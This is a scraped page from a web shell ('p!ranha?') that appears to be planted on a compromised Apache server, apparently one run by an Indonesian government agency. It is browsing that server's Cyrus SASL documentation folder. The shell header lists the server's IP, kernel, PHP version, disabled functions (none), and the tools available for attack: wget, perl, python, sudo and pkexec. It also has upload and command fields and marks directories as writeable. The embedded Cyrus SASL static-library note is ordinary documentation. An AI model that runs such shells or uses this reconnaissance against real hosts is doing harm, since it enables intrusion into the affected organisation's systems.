p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/cyrus-sasl-lib-2.1.26/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/doc/cyrus-sasl-lib-2.1.26/advanced.html
<HTML><head>
<TITLE>Cyrus SASL Library -- Advanced Usage</TITLE>
</head>
<body>
<h1>Cyrus SASL library, version 2.0</h1>
<h2>Notes for Advanced Usage of libsasl</h2>

<h3>Using Cyrus SASL as a static library</h3>
As of v2.0.2-ALPHA, Cyrus SASL supports the option to compile all of the
supported mechanisms and glue code into a single static library that may
be linked into any application.  In practice, this saves memory by avoiding
the need to have a jump table for each process's reference into the shared
library, and ensures that all the mechanisms are loaded when the application
loads (thus reducing the overhead of loading the DSOs).<P>

However, this is not a recommended procedure to use in general.  It loses
the flexibility of the DSOs that allow one to simply drop in a new mechanism
that even currently-running applications will see for each new connection.
That is, if you choose to use the static version of the library, not only
will you need to recompile the library each time you add a mechanism (provided
the mechanisms even support being compiled staticly), but you will need to
recompile every application that uses Cyrus SASL as well.<P>

However, if you are sure you wish to use a static version of Cyrus SASL,
compile it by giving <tt>configure</tt> the <tt>--enable-static</tt> option.
This will compile <b>both</b> a dynamic and a static version.  Then, whenever
an application links to libsasl, it will also need to explicitly pull in
any dynamic libraries that may be needed by Cyrus SASL.  Most notably, these
might include the GSSAPI, Kerberos, and Database libraries.  To avoid compiling
the dynamic version, pass <tt>--disable-shared</tt>.<P>

<hr>
Back to the <A href=index.html>index</a>

</body>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:39
0 / 0
0755
AUTHORS
1.812 KB
October 12 2012 14:05:48
0 / 0
0644
COPYING
1.817 KB
January 27 2012 23:31:36
0 / 0
0644
NEWS
20.856 KB
October 12 2012 14:05:48
0 / 0
0644
README
0.815 KB
October 12 2012 14:05:48
0 / 0
0644
advanced.html
1.692 KB
January 27 2012 23:31:36
0 / 0
0644
appconvert.html
4.731 KB
January 27 2012 23:31:36
0 / 0
0644
components.html
8.976 KB
January 27 2012 23:31:36
0 / 0
0644
gssapi.html
7.586 KB
January 27 2012 23:31:36
0 / 0
0644
index.html
5.362 KB
January 27 2012 23:31:36
0 / 0
0644
install.html
10.129 KB
October 12 2012 14:05:48
0 / 0
0644
macosx.html
11.573 KB
October 12 2012 14:05:48
0 / 0
0644
mechanisms.html
7.311 KB
January 27 2012 23:31:36
0 / 0
0644
options.html
11.516 KB
January 27 2012 23:31:36
0 / 0
0644
plugprog.html
16.162 KB
January 27 2012 23:31:36
0 / 0
0644
programming.html
40.72 KB
January 27 2012 23:31:36
0 / 0
0644
readme.html
4.653 KB
January 27 2012 23:31:36
0 / 0
0644
sysadmin.html
21.854 KB
January 27 2012 23:31:36
0 / 0
0644
upgrading.html
4.069 KB
January 27 2012 23:31:36
0 / 0
0644
windows.html
6.098 KB
October 12 2012 14:05:48
0 / 0
0644